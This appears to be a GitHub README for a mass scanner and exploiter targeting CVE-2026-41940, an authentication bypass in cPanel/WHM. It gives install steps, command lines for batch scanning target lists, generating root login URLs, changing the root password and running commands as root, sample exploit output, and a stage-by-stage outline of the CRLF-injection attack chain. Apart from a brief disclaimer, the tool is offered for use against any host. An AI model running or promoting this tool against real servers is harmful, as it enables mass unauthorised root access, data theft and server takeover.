
cPanel/WHM CVE-2026-41940 - Mass Scanner & Exploiter
cPanel/WHM Authentication Bypass Scanner & Exploit Tool for CVE-2026-41940
This tool is provided for educational purposes and authorized security testing only.
By using this tool, you agree that:
❗ The author is NOT responsible for any misuse, illegal activities, damages, or legal consequences resulting from the use of this tool.
CVE-2026-41940 is a critical authentication bypass vulnerability in cPanel/WHM that may allow attackers to gain unauthorized root-level access without valid credentials.
This tool provides a Python-based implementation for:
Python 3.7+
pip install requests urllib3
git clone https://github.com/Lutfifakee-Project/CVE-2026-41940.git
cd CVE-2026-41940
pip install -r requirements.txt
# Test with single target
python cpanel-mass-checker.py -u https://your-target.com:2087 -hostname your-target.com
# Single target
python cpanel-mass-checker.py -u https://target.com:2087
# Batch scan
python cpanel-mass-checker.py -f targets.txt -c 20
# Batch scan with port scanning
python cpanel-mass-checker.py -f targets.txt -c 20 --scan-ports -o results.txt
# Generate session URL
python cpanel-mass-checker.py -u https://target.com:2087 -session -hostname target.com
# Change root password
python cpanel-mass-checker.py -u https://target.com:2087 -passwd "NewPass123!" -hostname target.com
# Execute command (RCE)
python cpanel-mass-checker.py -u https://target.com:2087 -cmd "id" -hostname target.com
# WHM API call
python cpanel-mass-checker.py -u https://target.com:2087 -api listaccts -hostname target.com
targets.txt)# Lines starting with # are comments
https://target1.com:2087
target2.com
192.168.1.100
cpanel.example.com:2083
[*] Total: 4 targets (after dedup), concurrency: 10
[*] Port scanning: ON (2082, 2083, 2086, 2087)
------------------------------------------------------------
[2/4] [VULN] https://example.com:2087 - token=/cpsess1048057410
[1/4] [SAFE] safe-target.com
------------------------------------------------------------
[*] Scan completed. Vulnerable: 1
[+] Results saved to result.txt
[0] hostname = example.com
[1] minting a preauth session...
[2] sending the CRLF injection...
[3] firing do_token_denied...
[4] verifying WHM root access...
[+] WHM root access obtained!
[+] Session URL:
https://example.com:2087/cpsessXXXXXXX/
| Field | Value |
|---|---|
| CVE | CVE-2026-41940 |
| Severity | Critical (CVSS 9.8) |
| Attack Vector | Network |
| Privileges Required | None |
-hostnameFor safe and legal testing:
If this project helped you, consider giving it a ⭐
| Stage | Description |
|---|
| 1. Pre-authentication | Send invalid credentials to /login/ to obtain whostmgrsession cookie |
| 2. CRLF Injection | Inject newline via Authorization: Basic header to leak cpsess token |
| 3. Token Propagation | Trigger do_token_denied to propagate token into cache |
| 4. Verification | Access /json-api/version to confirm WHM root access |
| Feature | Description |
|---|
| 🔄 Batch Scanning | Scan multiple targets concurrently |
| 🎯 Single Target | Scan individual target with detailed output |
| 🔌 Port Scanning | Auto-scan WHM ports (2082, 2083, 2086, 2087) |
| 🔓 Session URL | Generate one-click WHM login URL |
| 💀 RCE | Execute system commands as root |
| 🔑 Change Password | Modify WHM root password |
| 📡 WHM API Calls | Call WHM API functions |
| 🎨 Colored Output | Visual output for results |
| 💾 Export Results | Save vulnerable targets to file |
| Parameter | Description | Example |
|---|
| -u | Single target URL | -u https://target.com:2087 |
| -f | Target list file | -f targets.txt |
| -c | Concurrency (threads) | -c 20 |
| -o | Output file | -o results.txt |
| -hostname | Custom Host header | -hostname cpanel.target.com |
| --scan-ports | Scan all WHM ports | --scan-ports |
| -session | Generate login URL | -session |
| -passwd | Change root password | -passwd "NewPass123" |
| -cmd | Execute command | -cmd "id" |
| -keep | Keep temporary account | -keep |
| -api | Call WHM API | -api listaccts |
| -api-params | API parameters | -api-params "user=root,password=123" |
| User Interaction | None |